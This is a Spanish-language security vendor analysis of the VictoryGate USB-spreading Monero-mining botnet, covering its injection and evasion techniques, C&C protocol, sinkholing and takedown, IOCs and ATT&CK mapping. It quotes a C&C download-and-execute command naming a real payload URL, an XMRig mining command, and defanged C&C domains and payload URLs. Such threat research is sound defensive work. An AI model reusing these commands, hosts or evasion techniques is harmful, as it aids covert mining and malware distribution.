Investigadores de ESET descubren una botnet no documentada previamente, a la que han denominado VictoryGate. La misma ha estado activa al menos desde mayo de 2019 y, desde entonces, se han identificado tres variantes de su módulo inicial y apróximadamente 10 payloads que son descargados por el equipo de la víctima desde sitios de file hosting en Internet. El módulo inicial es detectado por los productos de seguridad de ESET como MSIL/VictoryGate. A su vez, a través de la colaboración con distintas organizaciones, se ha logrado disminuir en gran medida el control que la misma tiene sobre los dispositivos afectados.

La botnet está compuesta principalmente por dispositivos ubicados en la región de LATAM, principalmente en Perú, país en donde están más del 90% de los dispositivos comprometidos. Hemos realizado actividades de sinkholing sobre varios subdominios hardcodeados en las muestras que la botnet utiliza como respaldo para su servidor de comando y control (C&C). La combinación de la información recopilada de nuestro sinkhole, sumada a nuestra telemetría, nos permitió estimar el tamaño de la botnet, la cual está conformada, como mínimo, por 35.000 dispositivos.

VictoryGate utiliza subdominios registrados con el proveedor de servicios de DNS dinámico No-IP, empresa que rápidamente dio de baja los dominios una vez que los mismos fueron reportados por ESET, limitando efectivamente el control de los bots por parte del atacante. Adicionalmente, la información recolectada en el sinkhole es compartida con la organización sin fines de lucro Shadowserver Foundation para alertar a las autoridades locales y operadores de red.

En la Figura 1 se puede observar el pico de conexiones de IP únicas por día que se conectan con el C&C.

Figura 1. Máxima cantidad de conexiones por parte de IPs únicas por día.

La actividad principal de la botnet ha sido la utilización de los equipos infectados para la minería de la criptomoneda Monero. Sin embargo, dado que el operador tiene la capacidad de actualizar los payloads que la víctima ejecuta en cualquier momento que lo desee, esta funcionalidad podría haber cambiado en cualquier momento. Esto representaba un riesgo considerable, dado que se ha detectado tráfico de red comprometido que se origina desde organizaciones tanto públicas como privadas, incluyendo empresas del sector financiero en Perú.

El impacto en el equipo de la víctima es:

  • Elevado uso de recursos de la PC de la víctima. En todas las muestras analizadas, el malware hace uso de todos los hilos disponibles del procesador para realizar criptominería. Esto se traduce en un uso sostenido del CPU del rango de 90-99%. Esto puede causar ralentizamiento del equipo, sobrecalentamiento o incluso dañarlo.
  • Los archivos contenidos en dispositivos USB que se conectan a un equipo infectado son escondidos en una carpeta con atributos de sistema en la raíz de la unidad extraíble. Esto significa que algunos usuarios pueden perder acceso a sus archivos originales si no remueven dicho atributo de la carpeta escondida.

En este artículo analizaremos algunos de los detalles técnicos de esta amenaza.

¿Qué es VictoryGate?

Este es el nombre que le damos al módulo inicial de la amenaza, que recibe y ejecuta comandos del servidor de comando y control del atacante. Además, este módulo es el encargado de la propagación de la amenaza a través de medios de almacenamiento USB.

Propagación de la amenaza

El único vector de propagación que hemos podido confirmar durante la investigación es a través de medios extraíbles USB. El mecanismo funciona de la siguiente manera: la víctima recibe un pendrive que en algún momento fue conectado a una PC infectada. A primera vista, contiene todos los archivos originales con sus nombres e íconos correspondientes, sin embargo, los archivos originales fueron reemplazados por ejecutables de Windows, como se observa en la Figura 2. Es fácil para un usuario desprevenido ejecutar uno de estos archivos sin percibir nada inusual.

Figura 2. Comparación entre un dispositivo limpio y uno infectado

Cada uno de estos archivos maliciosos son scripts AutoIt que VictoryGate compila “on the fly” utilizando la plantilla que se muestra en la Figura 3. Vale la pena mencionar que a cada uno de estos archivos se les agrega metadatos aleatorios para que el hash resultante nunca sea el mismo.

Figura 3. Plantilla utilizada por VictoryGate para compilar los scripts de propagación

La ejecución de cualquiera de estos archivos por parte del usuario hará que se ejecute tanto el archivo original que se desea abrir, así como el módulo inicial de la amenaza, ambos escondidos en una carpeta oculta (marcada con atributos de sistema) en la raíz de la unidad de almacenamiento extraíble.

Figura 4. Script de propagación ejecutando un archivo legítimo junto al payload escondido

Una vez ejecutado el módulo inicial escondido en el pendrive, el mismo realiza una copia de sí mismo en el directorio %AppData% en el sistema de archivos del equipo de la víctima, modificando su nombre para aparentar ser un archivo de Windows legítimo como “ctfmon2.exe”. Además, crea un acceso directo, que apunta a dicha copia, en la carpeta de inicio de Windows como un mecanismo simple de establecer persistencia en el equipo de la víctima.

El módulo inicial en sí es un archivo MSIL que tiene un tamaño de aproximadamente 200MB. Contiene un array de bytes excesivamente grande, probablemente para evadir la detección de productos de seguridad que tengan un límite de tamaño de archivo para realizar el escaneo. Contiene una DLL empaquetada, cifrada con XOR y comprimida con gzip, que es descifrada y cargada durante la ejecución realizando un late binding a través de la API de .NET Reflection. A su vez, esta DLL contiene otro archivo empaquetado, en este caso un script compilado AutoIt, además de las funciones RunPE para poder inyectarlo en algún proceso legítimo de Windows. Hemos observado los procesos vbc.exe (Compilador de Visual Basic) y csc.exe (Compilador de C#) siendo los objetivos de la amenaza.

La inyección se realiza creando una instancia del proceso vbc.exe en estado de suspensión, desmapeando sus secciones de memoria y finalmente cargando el archivo malicioso en la memoria que se le asignó al proceso. Como se puede ver en la Figura 5, VictoryGate utiliza varias funciones no documentadas de NTAPI, como NtWriteVirtualMemory, en lugar de utilizar funciones más comunes y mejor documentadas por Microsoft, como WriteProcessMemory. Esto se realiza para evadir las detecciones por API hooking básicas que algunos productos de seguridad utilizan.

Figura 5. Inyección del proceso vbc.exe por VictoryGate

El agente AutoIt inyectado es el responsable por la comunicación con el C&C, la descarga y ejecución de los distintos payloads, y el escaneo constante de unidades USB conectadas para poder infectarlas. Si detecta una nueva unidad, procederá a esconder los archivos originales y reemplazarlos por los scripts de propagación como mencionamos anteriormente.

Comunicación con el servidor C&C

El operador tiene la habilidad de enviar comandos a los nodos y actualizar los payloads que éstos ejecutan. Estos comandos se transmiten utilizando un protocolo personalizado en un puerto poco común y en texto claro. Los siguientes comandos son soportados:

Comando Descripción
! El C&C le indica al nodo que descargue un archivo desde una determinada URL y que luego lo ejecute. Este prefijo también es utilizado por el nodo para notificar que la operación se realizó correctamente.
~ El nodo utiliza este prefijo para indicarle al C&C que hubo un error en la ejecución del comando anterior.
- Este prefijo es utilizado por el nodo durante el primer mensaje al C&C, en el cual envía información sobre el sistema de la víctima. Posterior a eso, este prefijo es utilizado como un Keep-Alive de la conexión entre el cliente y el servidor.
_ El nodo le notifica al C&C que la ruta de ejecución actual es diferente a la esperada. Esto da inicio al mecanismo a través del cual el payload se copia a sí mismo en el directorio %AppData%En otras palabras, asume que se encuentra en la unidad USB y que debe copiarse al disco duro de la víctima.

Ejemplo de un comando de descarga y ejecución enviado por el C&C:

!|N-I-C-H-O-L-A-S|!|N-I-C-H-O-L-A-S|PuQPQOZOy.exe|N-I-C-H-O-L-A-S|http://gulfup[.]me/i/00711/2czcy5xvh7br.jpeg[N-E-K]

En este caso, la URL es el payload a descargar al directorio %Temp%, mientras que PuQPQOZOy.exe es un nombre aleatorio que se le debe asignar al archivo luego de ser descargado.

Payloads descargados

Los payloads descargados también suelen ser scripts AutoIt compilados. El compilador tiene la habilidad de embeber ejecutables junto con el script en un único archivo. El malware hace uso de esta funcionalidad y dentro del ejecutable descargado podemos encontrar un archivo MSIL que es eventualmente ejecutado con la funcion AutoIt ShellExecute(). Además de la ejecución de este binario, el script crea un nuevo acceso directo en la carpeta de inicio de Windows vinculado al payload y una tarea programada que se ejecuta cada un minuto como mecanismos de persistencia adicionales.

En la Figura 6 se aprecia el flujo de ejecución de los payloads analizados:

Figura 6. Diagrama de ejecución de un payload descargado

Nuevamente, el payload inyectará el código en un proceso legítimo de Windows. En este caso, intentará inyectar el minero XMRig en el proceso ucsvc.exe (Boot File Servicing Utility).

Una vez ejecutado el archivo MSIL, tpmvscugr.exe, éste descifra un array cifrado con Rijndael, en una implementación similar a AES. Se trata de archivo binario empaquetado al cual llamamos gate.exe – sus métodos son invocados durante la ejecución utilizando la API de .NET Reflection.

El binario empaquetado no tiene el código necesario para realizar la inyección por sí mismo, sino que la última pieza para poder inyectar el minero en el proceso de ucsvc.exe es una DLL que es enviada por el C&C a través del tráfico de red. Dicho tráfico enviado está comprimido utilizando gzip y el contenido de la DLL es cifrado con AES. El stream cifrado es almacenado en una clave del registro y la clave para descifrar el archivo tiene que ser recuperada del tráfico de red entre el servidor y el nodo. Finalmente, esta DLL es cargada en la memoria del proceso de tpmvscugr.exe durante la ejecución mediante un late binding.

Figura 7. Clave del registro con el contenido encriptado de auto.dll%

Esta DLL (auto.dll) contiene alunas funciones RunPE típicas que le permiten a gate.exe realizar la inyección.

Minería de Monero

Una vez que el proceso de ucsvc.exe fue inyectado con el minero XMRig, el C&C comienza la minería enviando un comando como el siguiente:

C:\Windows\system32\ucsvc.exe -algo cryptonight -url <Redacted>:19019 –user CPU_x64 –pass x –retries=50 –retry-pause=1 –keepalive –donate-level=1 –nicehash

La dirección IP que se ve en el comando no es un pool de minería, sino que se trata de un Stratum proxy – O XMRig proxy que añade un nivel de indirección, ya que no permite determinar el usuario del operador de la botnet.

Por otro lado, cuando el usuario intente averiguar a que se debe que su PC tenga un rendimiento tan lento, no encontrará en el administrador de tareas nada que llame su atención, ya que, como hemos visto en varias amenazas de este tipo, el proceso de minería finaliza cuando se abre dicho programa, y es resumido en cuanto el administrador de tareas se cierra.

Con la información recolectada durante nuestras actividades de sinkholing podemos determinar que hay en promedio 2,000 dispositivos minando constantemente a lo largo del día para el atacante. Si estimamos un hashrate promedio de 150 H/s por equipo se puede extrapolar que el dinero obtenido en esta campaña es de alrededor de 80XMR (USD 6,000).

Conclusión

VictoryGate es una nueva botnet que utiliza dispositivos de almacenamiento USB como mecanismo de propagación, una técnica recurrente en campañas de malware en la región de LATAM. La utilización de XMRig para la minería de Monero también es una tendencia que ha ido creciendo en campañas de este tipo a lo largo del mundo.

Una de las características interesantes de VictoryGate es que, en comparación con otras campañas, hace un esfuerzo mayor para evadir la detección por parte de las soluciones de seguridad. De todos modos, el factor más interesante de esta investigación ha sido nuestra habilidad de registrar nombres de dominios hardcodeados en las muestras analizadas para poder obtener información estadística sobre los equipos infectados. De esta manera, además, pudimos compartir los datos obtenidos con Shadowserver Foundation para alertar a las autoridades locales y a los propietarios de red. No-IP tamién ha sido de gran ayuda en dar de baja los nombres de dominio maliciosos, efectivamente removiendo los equipos infectados del operador de la botnet.

A pesar de nuestros esfuerzos, los pendrives infectados van a continuar en circulación, razón por la cual se seguirán produciendo nuevas infecciones. Sin embargo, la diferencia significativa que se logró a partir de esta investigación es que los equipos ya no recibirán comandos del C&C, por ende no descargarán nuevos payloads de Internet. De todos modos, aquellas PC que hayan sido infectadas previo a la disrupción continuarán minando para el atacante. Si éste es el caso, y crees que tu equipo ha sido comprometido por este malware, sugerimos utilizar nuestra herramienta gratuita ESET Online Scanner para limpiar tu dispositivo.

Indicadores de Compromiso (IOCs)

Muestras

Nombres de detección de ESET Hash
MSIL/VictoryGate.A 398C99FD804043863959CC34C68B0305B1131388
MSIL/VictoryGate.A a187d8be61b7ad6c328f3ee9ac66f3d2f4b48c6b
MSIL/VictoryGate.B 483a55389702cdc83223c563efb9151a704a973e
MSIL/VictoryGate.C 686eef924e6b7aadb5bcff1045b25163501670e6

Sistema de archivos

%ProgramData%\JcmewjJky\jcmewjjky.ico
%ProgramData%\JcmewjJky\jcmewjjky.exe
%ProgramData%\JcmewjJky\jcmewjjky.au3
%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\ctfmon.url.lnk
%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\tpmvsucgr.url
%AppData%\tpmvscugr.exe
%AppData%\ctfmon2.exe
HKCU/Software/JcMewjJKy
HKLM/Software/Microsoft/Windows NT/CurrentVersion/Schedule/TaskCache/Tree/rwIAMblfuvoss
HKCU/Software/Victory

Dominios de C&C

(*) Dominios registrados por ESET para evaluar el alcance de la amenaza.

scitie.ddns[.]net
ddw.ddns[.]net
c0d3.ddns[.]net
volvo.ddns[.]net
xcod.ddns[.]net
mrxud.ddns[.]net
d001.ddns[.]net
xkm.ddns[.]net
luio.ddns[.]net
xcud.ddns[.]net
aut2scr.ddns[.]net
fanbmypersondrive[.]icu
mydrivepersonpdvsa[.]icu
mydrivepersonfanb[.]icu
mycountermppd[.]xyz
calypsoempire.ddns[.]net
mgud2xd.ddns[.]net
aut0hk.ddns[.]net
xcud.zapto[.]org
accountantlive[.]icu
shittybooks[.]review
hakerz123.ddns[.]net
jcmewjjkyc0d3.ddns[.]net *
urtyerc0d3.ddns[.]net *
MoOHyAYeuaut2scr.ddns[.]net *
pNUMWWDLjPmzg.ddns[.]net *
gJyapcAGoc0d3.ddns[.]net *
OHOFqlXNJluio.ddns[.]net *

URLs de los payload

gulfup[.]me/i/00711/2czcy5xvh7br.jpeg
gulfup[.]me/i/00711/a8nr26g1zcot.jpeg
gulfup[.]me/i/00711/6400e1i9fsj6.jpeg
gulfup[.]me/i/00711/pwgzuq5902m2.jpeg
gulfup[.]me/i/00711/lhm3w37zuiwy.jpeg
gulfup[.]me/i/00711/3mwdm6tbgcq6.jpeg
gulfup[.]me/i/00712/sy8rtcxlh1pu.jpeg
gulfup[.]me/i/00712/o56zgjhefny0.jpeg
b.top4top[.]io/p_152411ncc1.jpeg
pastebin[.]com/raw/fEAuhPYh

Técnicas de MITRE ATT&CK

Táctica ID Nombre Descripción
Acceso Inicial T1091 Replicación a través de medios extraíbles Compila scripts AutoIt que reemplazan los archivos originales en la unidad USB
Ejecución T1064 Scripting Utiliza scripts tanto AutoIt como VBS
T1129 Ejecución a través de la carga de un módulo Carga y ejecuta distintos binarios
T1085 Rundll32 Usa rundll32 a través de la función de AutoIt INETGET para descargar payloads
T1106 Ejecución a través de una API Usa llamadas a la API como CreateProcessA() y otras
T1053 Tarea programada Crea una tarea programada como mecanismo de persistencia
Persistencia T1158 Archivos y directorios ocultos Crea directorios ocultos en las unidades USB extraíbles
T1060 Carpeta de Inicio Crea accesos directos en la carpeta de inicio como mecanismo de persistencia
T1053 Tarea Programada Crea una tarea programada como mecanismo de persistencia
Escalación de Privilegios T1055 Inyección de Proceso Gana privilegios inyectando procesos legítimos de Windows

Evasión de Defensa

T1140 Desofuscar/decodificar información Utiliza codificación Base64 para hardcodear nombres de domino en el malware
T1222 Modificación de permisos de archivos o directorios Marca directorios con atributos +RSH
T1009 Relleno binario Usa relleno binario o información aleatoria para que los scripts de propagación tengan hashes distintos
T1107 Eliminación de Archivos Archivos descargados en el directorio %temp% luego son eliminados
T1093 Vaciamiento de Proceso Procesos legítimos de Windows son vaciados y luego inyectados
T1045 Empaquetamiento de Software Varios módulos poseen binarios empaquetados
Movimiento Lateral T1091 Replicación a través de medios extraíbles Compila scripts AutoIt que reemplazan los archivos originales en la unidad USB
Colección T1005 Datos del sistema local Cierta información del sistema de la víctima es exfiltrada al servidor del atacante
Descubrimiento T1063 Descubrimiento del software de seguridad Utiliza consultas WMI para obtener la solución de seguridad instalada en el equipo
T1057 Descubrimiento de procesos Detecta la presencia del administrador de tareas ( taskmgr.exe %) para suspender el proceso de minería
Comando y Control T1094 Protocolo no-estándar El servidor C&C utiliza un protocolo personalizado
T1065 Puertos poco frecuentes El servidor C&C utiliza puertos poco frecuentes para la comunicación, como son los puertos 3,030, 6,060 y 19,019.
T1008 Canal de Respaldo Utiliza nombres de dominio hardcodeados como respaldo de los originales
T1102 Servicio Web Utiliza la plataforma pastebin para obtener la dirección IP del C&C incluso si la resolución DNS falla
Impacto T1496 Secuestro de Recursos El equipo de la víctima es utilizado para minar criptomonedas
T1492 Manipulación de datos almacenados Los archivos contenidos en el pendrive de la víctima son escondidos